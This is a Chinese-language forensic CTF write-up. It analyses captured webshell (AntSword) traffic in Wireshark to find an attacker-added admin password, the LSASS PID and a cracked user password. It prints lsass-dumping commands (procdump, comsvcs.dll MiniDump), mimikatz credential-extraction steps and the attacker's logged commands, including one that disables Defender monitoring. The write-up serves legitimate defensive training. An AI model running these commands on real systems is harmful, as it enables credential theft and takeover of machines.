01 前置知识
wireshark下载地址:https://wireshark.org
更改中文配置 编辑 – 首选项 – 外观 – 列
自行增加源端口和目标端口配置
将pcap文件导入wireshark,使用筛选功能筛选http数据包
对于抓到的数据包使用 右键 – 追踪流功能进行查看数据包详情
蚁剑流量特征:
特征1:
每个请求体都由以下数据开始
@ini_set(“display_errors”,“0”);@set_time_limit(0);,
特征2:
content-Length:有uelencode字段
特征3:
响应包,都是明文(也存在加密的情况)
选择靶机 – 本机查看返回结果
发现结果为一段随机字符+返回结果
mimikatz基本用法
抓取lsass转储文件
查看lsass.exe 的PID号
tasklist /svc | findstr lsass.exe
# Procdump 抓取lsass进程dmp文件
procdump64.exe -accepteula -ma lsass.exe lsass_dump
# 通过lsass的pid抓取
procdump64.exe -accepteula -ma pid lsass_dump
# createdump.exe抓取dmp
createdump.exe -u -f lsass.dmp lsass[PID]
# comsvcs.dll获取dmp
# 需要保证当前会话已经启用SeDebugPrivilege特权
# cmd本身会禁用该特权,powershell默认开启
# 判断cmd是否开启
whoami /priv | findstr SeDebugPrivilege
# 判断powershell是否开启
powershell whoami /priv | findstr SeDebugPrivilege
rundll32.exe comsvcs.dll, MiniDump lsass[PID] lsass.dmp full
或者直接任务管理器 搜索lsass进程,转储
mimikatz解密lsass.dmp文件
# 管理员权限
# 导出lsass.dmp文件后解密
mimikatz # sekurlsa::minidump C:\Windows\System32\lsass.dmp
mimikatz # sekurlsa::logonpasswords
# 直接解密
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords full
题目
@老狼
应急响应小组成员老狼在 waf 上下载了一段流量,请你分析黑客攻击手法,并且解答下面问题
- 管理员Admin账号的密码是什么?
- LSASS.exe的程序进程ID是多少?
- 用户WIN101的密码是什么?
1、管理员Admin账号的密码是什么?
没啥好思路,根据题目说要找admin账号的密码,先搜搜http数据包中的admin关键词
查找http数据包
Ctrl+F 查找admin关键词,查找到第一个数据包看到执行dir命令的返回结果,大概为黑客命令执行返回的结果,查看一下追踪流
可以看到,确实是恶意流量,木马文件为prodect2.php文件,密码是cmd
可以看到base64_decode关键词等,猜测使用蚁剑
直接搜索product2.php关键词
查看第一个prodect2.php数据包的追踪流,进行url解码
格式化一下数据
解码之后可以看到蚁剑流量特征
接着将product2.php的流量都进行解密查看:
去掉头两个字符之后进行base64解码
C:/phpStudy/PHPTutorial/WWW/onlineshop/database/onlineshop.sql
cd /d “C:/phpStudy/PHPTutorial/WWW/onlineshop”&ls&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&whoami&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&whoami /priv&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&systeminfo&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:\temp&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net user&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net localgroup administrators&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net group “domain group” /domain&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net group “domain admins” /domain&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net view&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net share&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&rundll32.exe comsvcs.dll, MiniDump 852
C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:\temp&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&ls&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”© store.php c:\temp&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:\temp&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&powershell -ep bypass Set-Mppreference -DisableRaltimeMonitoring $true&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
C:/Temp/OnlineShopBack.zip
cd /d “C:/phpStudy/PHPTutorial/WWW/onlineshop”&dir c:\windows\system32&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:\windows\config&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net user&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net user admin Password1 /add&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net localgroup administrators admin /add&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&whoami /all&echo [S]&cd&echo [E]
可以看到其中有一条添加
可以看到其中有一条添加admin账号命令
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net user admin Password1 /add&echo [S]&cd&echo [E]
所以密码为Password1
flag{Password1}
2、LSASS.exe的程序进程ID是多少?
解密找到如下命令:
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
重点看此处:
rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\OnlineShopBackup.zip full
rundll32.exe
rundll32.exe 是 Windows 操作系统中的一个实用程序,允许用户通过命令行运行基于 DLL 的函数。攻击者可以利用这个合法的系统工具来执行恶意操作,例如调用特定 DLL 文件中的函数来执行恶意代码
comsvcs.dll 和 MiniDump 函数
comsvcs.dll 是 Windows 系统中的一个 DLL 文件,包含与 COM+ 服务相关的功能。这个 DLL 文件中的 MiniDump 函数可以用来创建内存转储文件(memory dump),这些文件包含了系统内存的快照,可能包括敏感信息,如用户凭证
这条命令意思是:
使用 rundll32.exe 来调用 comsvcs.dll 库中的 MiniDump 函数。
MiniDump 函数将尝试对 PID(进程标识符)为 852 的进程进行内存转储。
转储的内存将被保存到 C:\temp\OnlineShopBackup.zip 文件中。
所以转储的应该是852端口的进程也就是lsass进程
flag{852}
3、用户WIN101的密码是什么?
要获取密码,肯定要从日志中导出获取到的lsass,也就是这条命令:
rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\OnlineShopBackup.zip full
OnlineShopBackup.zip这个文件,然后通过mimikatz进行解密获取密码
mimikatz导密码用法:
# 将lsass dump下来
rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\lsass.dmp full
# 使用mimikatz读取dump下来的密码
mimikatz # sekurlsa::minidump C:\temp\lsass.dmp
mimikatz # sekurlsa::logonpasswords
导出http数据包,因为是文件,根据经验导出最大的几个文件查看就行了
dmp文件的特征之一就是文件较大,直接选47MB的查看,打开文件后也能看到dmp文件特征,对比常规dmp文件发现文件头多了e1c1709这几个字符,删除后文件恢复正常
如果没删除e1c1709字符直接mimikatz解密会报如下错误
导出的product2.php
正常的lsass.dmp文件
将修改后的文件后缀改成dmp,放到mimikatz进行解密
记得用管理员用户打开mimikatz
mimikatz.exe
mimikatz # sekurlsa::minidump product2.dmp
mimikatz # sekurlsa::logonpasswords
对NTLM的md5进行解密
flag{admin#123}